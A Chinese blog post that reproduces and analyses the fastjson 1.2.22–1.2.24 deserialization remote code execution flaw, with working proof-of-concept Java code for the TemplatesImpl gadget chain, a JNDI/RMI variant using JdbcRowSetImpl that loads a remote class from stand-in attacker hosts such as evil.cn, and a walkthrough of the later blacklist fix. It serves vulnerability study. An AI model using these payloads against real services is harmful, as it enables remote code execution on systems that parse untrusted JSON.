前言

fastjson 是阿里巴巴开源的、java 编写的 json 解析库。以速度快、性能高著称。 在 2017 年 3 月 15 日,fastjson 官方主动爆出 fastjson 在 1.2.22 到 1.2.24 版本间存在远程代码执行高危安全漏洞。下面针对该漏洞进行复现并分析。

official : https://github.com/alibaba/fastjson

vul : https://github.com/alibaba/fastjson/wiki/security_update_20170315

poc 分析

分析使用的 poc 是基于 TemplatesImpl 类进行构造的。poc 如下。

Test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package vulnTest;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("curl localhost:12345");
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}

Poc.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package vulnTest;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class Poc {
public static String readClass(String cls) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}

public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String evilClassPath = System.getProperty("user.dir") + "/target/classes/vulnTest/Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\"" + evilCode + "\"]," +
"'_name':'a.b'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}\n";
System.out.println(text1);
// Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
Object obj = JSON.parse(text1, Feature.SupportNonPublicField);
}

public static void main(String[] args) {
try {
test_autoTypeDeny();
} catch (Exception e) {
e.printStackTrace();
}
}
}

从 poc 中可以看出,需要利用到的类为 TemplatesImpl。实际上,整个漏洞是从 TemplatesImpl 的 getOutputProperties() 开始触发。看一下 getOutputProperties() 方法。

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

跟进 newTransformer() 方法。

1
2
3
4
5
6
7
8
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
...
}

跟进 getTransletInstance() 方法。

1
2
3
4
5
6
7
8
9
10
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

}

其中 _name 不能为 null,_class 需要为 null,进入 defineTransletClasses() 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
private void defineTransletClasses()
throws TransformerConfigurationException {

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

其中先创建了静态内部类 TransletClassLoader。

1
2
3
4
5
6
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

这里会用到 _tfactory 属性,所以该值不能为 null。 创建自定义类加载器后,调用了静态内部类(即自定义类加载器)的 defineClass() 方法。实际调用了父类 ClassLoader 的 defineClass() 方法,会将 byte[] 中的二进制字节码转换成一个 Class 对象。

1
_class[i] = loader.defineClass(_bytecodes[i]);

所以,我们需要控制 _bytecodes 属性的值为我们想要加载的恶意类的字节码。 再往下,检查加载进来的类的父类是不是 AbstractTranslet。是的话,会把恶意类在 _class 数组中的索引 i 赋值给 _transletIndex,该属性默认值为 -1,后面会用到该属性,所以构造的恶意类必须继承自 AbstractTranslet 类。

1
2
3
4
5
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}

执行完 defineTransletClasses() 后,在 getTransletInstance() 中,会通过 _transletIndex 从 _class 数组中取出恶意类的 Class 对象,然后调用 newInstance() 方法。

1
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

所以,只要我们把需要执行的代码放到构造方法中,就会在调用 newInstance() 方法时执行。下面,总结下利用过程中需要注意的几个属性。

1
2
3
4
1. _bytecodes    fastjson 会将其 base64 解码,TemplatesImpl 的私有属性,里面存放了恶意类的字节码
2. _name 在方法调用中,需要TemplatesImpl 的私有属性 _name 不为空
3. _tfactory 既没有 getter,也没有 setter,设置为 {},fastjson 会调用其无参数构造函数得到对应的对象,在 defineTransletClasses() 中用特权创建静态内部类 TransletClassLoader 时会用到
4. _outputProperties 调用 TemplatesImpl 的 getOutputProperties() 方法,触发利用链

poc 条件

1
2
@type	指定需要生成的目标类,指定利用类 TemplatesImpl
Feature.SupportNonPublicField 让 fastjson 也会反序列化私有域

调试分析

根据该 poc 的调试分析,我简单做了一张类间的关系图,便于理清整个过程。

01

在 parse() 方法中,会先将我们指定的 Feature.SupportNonPublicField 选项开启,默认开启的选项如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
public static int              DEFAULT_PARSER_FEATURE;
static {
int features = 0;
features |= Feature.AutoCloseSource.getMask();
features |= Feature.InternFieldNames.getMask();
features |= Feature.UseBigDecimal.getMask();
features |= Feature.AllowUnQuotedFieldNames.getMask();
features |= Feature.AllowSingleQuotes.getMask();
features |= Feature.AllowArbitraryCommas.getMask();
features |= Feature.SortFeidFastMatch.getMask();
features |= Feature.IgnoreNotMatch.getMask();
DEFAULT_PARSER_FEATURE = features;
}

关于 Feature 机制,是通过在枚举类中维护一个 mask 实现的。每个枚举对象对应二进制中的一位,只要通过与运算就可以判断选项的开启情况,也可以通过或运算开启指定选项。

1
2
3
4
5
6
7
8
9
Feature(){
mask = (1 << ordinal());
}

public final int mask;

public final int getMask() {
return mask;
}

跟进 DefaultJSONParser 的 parse() 方法。

02

跟进 parseObject() 方法。

03

在 parseObject() 中,会先通过 JSONLexerBase 的 scanSymbol() 方法,从输入的 json 中读出第一个双引号间的内容,即 @type,放到 key 中。然后会使用 AppClassLoader 将利用类 TemplatesImpl 加载成一个 Class 对象。

04

主要看 parseObject() 的下面两行代码。

05

先看第一行,在 ParserConfig 的 getDeserializer() 中,调用了 createJavaBeanDeserializer() 方法,其中会调用 JavaBean 的 build() 方法,在 build() 方法中,主要会根据 @type 的指定类 TemplatesImpl 的 setter 方法和 getter 方法,猜测属性名,符合要求则将信息存进 FieldInfo 的实例中,将猜测的属性收集到 ArrayList<FieldInfo> ,再封装到 JavaBeanInfo,最终,将 JavaBeanInfo 放到 JavaBeanDeserializer 的 beanInfo 属性中,并返回一个 JavaBeanDeserializer 的实例。

06

返回的 JavaBeanDeserializer 实例的 fieldDeserializers 和 sortedFieldDeserilaizers 两个属性是猜测的 TemplatesImpl 的属性,后一个是根据属性名进行排序的数组。接着,调用了 putDeserializer() 方法将该 JavaBeanDeserializer 实例存进 ParserConfig 的 derializers 属性中。之后会将刚生成的 JavaBeanDeserializer 返回并调用 deserialze() 方法,该方法是触发的关键。

07

其中先从传入的 json 字符串中,取出下一个内容,即 _bytecodes。下面会调用前面在 JavaBeanInfo 的 build() 方法中找到的 TemplatesImpl 的无参构造方法创建一个 TemplatesImpl 实例。

08

后面就是根据传入的 json 中指定的属性名去给这个 TemplatesImpl 实例初始化属性。先从刚刚取到的 _bytecodes 开始。

09

通过 parseField() 方法,就可以把我们传入的恶意类的字节码存进 _bytecodes 属性中了。

10

唯一需要注意的是,在给 _tfactory 属性赋值的时候,因为没有对应的 deserializer,所以会调用前面讲过的 createJavaBeanDeserializer() 为其创建一个的 deserializer。

11

调用刚创建的 deserializer 的 derserialze() 方法为 _tfactory 属性赋值。

12

这里和前面调用无参构造方法创建 TemplatesImpl 的位置不同,但是也是调用 _tfactory 属性对应的 TransformerFactoryImpl 类的无参构造方法进行初始化。

13

在 setValue() 方法中会将该值存入 TemplatesImpl 实例中。

14

在初始化 _outputProperties 时,setValue() 方法中会先调用 TemplatesImpl 的 getOutputProperties() 方法。

15

根据前面的分析,TemplatesImpl 中的必要属性已经初始化好了,在调用 getOutputProperties() 方法时,则会触发漏洞。

16

修复

在 1.2.23 中加载 @type 指定的类是通过 TypeUtils 的 loadClass() 方法。

17

其中并没有对类名进行检测。后续的 ParserConfig 的 getDeserializer() 方法中,在调用 createJavaBeanDeserializer() 之前进行了一个简单的检查。

18

在 1.2.25 中,加载 @type 指定类的方法变为 ParserConfig 的 checkAutoType() 方法。

19

其中会对类名进行黑名单检查。

20

并且在 1.2.25 中,取消了 1.2.23 原先的检查位置。

21

JNDI 注入

更新于 2019.11.6。

JNDI,即 Java Naming and Directory Interface,Java 命名与目录接口。我们可以通过 JNDI 提供的统一外部接口去访问其他服务,这里可以结合 RMI 去减少 fastjson 这个漏洞利用的限制。

RMI 相关知识可以参考:http://llfam.cn/2019/08/20/java_序列化与_rmi/

当把 JNDI Reference 注册到 RMI Registry 时,客户端在通过 lookup() 方法请求 stub 时,会去加载 Reference 指定的远程类,并初始化该类的一个实例。所以,我们只要将客户端的 lookup() 方法的参数指向我们的 RMI 服务,并在该服务上注册一个指向远程恶意类的 Reference,客户端会加载 Reference 指向的类,并初始化加载的类,我们将利用代码放到该类的构造方法中即可实现利用。

1
2
3
4
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("Exploit", "Exploit", "http://evil.cn/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("llfam", referenceWrapper);

上面的代码运行在攻击者的服务器上,在 1099 上创建了一个 RMI Registry,并将一个 Reference 对象绑定到该 RMI 服务上。

1
2
3
4
5
6
7
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
Context ctx = new InitialContext(env);
Object obj = ctx.lookup("rmi://evil.cn/llfam");

这里是模拟客户端代码,将客户端的 lookup() 方法的参数指向攻击者的 RMI 服务。通过 llfam 找到了一个 Reference 对象,客户端会去加载 Reference 指定的文件 http://evil.cn/Exploit.class,并初始化加载到的 Exploit 类,其构造方法会被执行。

poc

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/llfam","autoCommit":true}

poc 利用的是 JdbcRowSetImpl 类。dataSource 是父类 BaseRowSet 的私有属性,但是因为有对应的 setDataSourceName() 方法为该属性初始化,所以该 poc 不需要开启 fastjson 的 SupportNonPublic 选项。

1
2
3
4
5
6
7
8
9
10
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}

setAutoCommit() 方法

1
2
3
4
5
6
7
8
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}

connect() 方法

1
2
3
4
5
6
7
8
protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
...

可以看到在 connect() 方法中调用的 lookup() 方法的参数我们可控,即 dataSource 属性。

攻击者服务器上的 RMI 服务。

1
2
3
4
5
6
7
8
9
10
11
12
public class JNDIServer {
private static void start() throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exloit",
"Exploit","http://audit.test/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("llfam", referenceWrapper);
}
public static void main(String[] args) throws Exception {
start();
}
}

生成 Exploit.class,并放到攻击者在 Reference 中指定的 web 服务器上。

1
2
3
4
5
6
7
8
9
10
11
12
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("open /Applications/Calculator.app");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

验证 poc。

1
2
3
4
5
6
7
8
9
10
public class JdbcRowSetImplPoc {
public static void main(String[] argv){
testJdbcRowSetImpl();
}
public static void testJdbcRowSetImpl(){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/llfam\"," +
" \"autoCommit\":true}";
JSON.parse(payload);
}
}

初始化加载到的 Exploit 类,执行构造方法中的代码。

22

总结

这里只是简单地写了一点调试的分析,当作一个学习笔记。但是,实际上有很多东西可能我没有细讲。因为,我觉得审计不能光看,一定要自己去看代码,调试学习。对于同一个洞,每个人审计调试学到的东西可能是不一样的 : )

ref :

https://www.freebuf.com/vuls/178012.html

https://mp.weixin.qq.com/s/0a5krhX-V_yCkz-zDN5kGg

http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/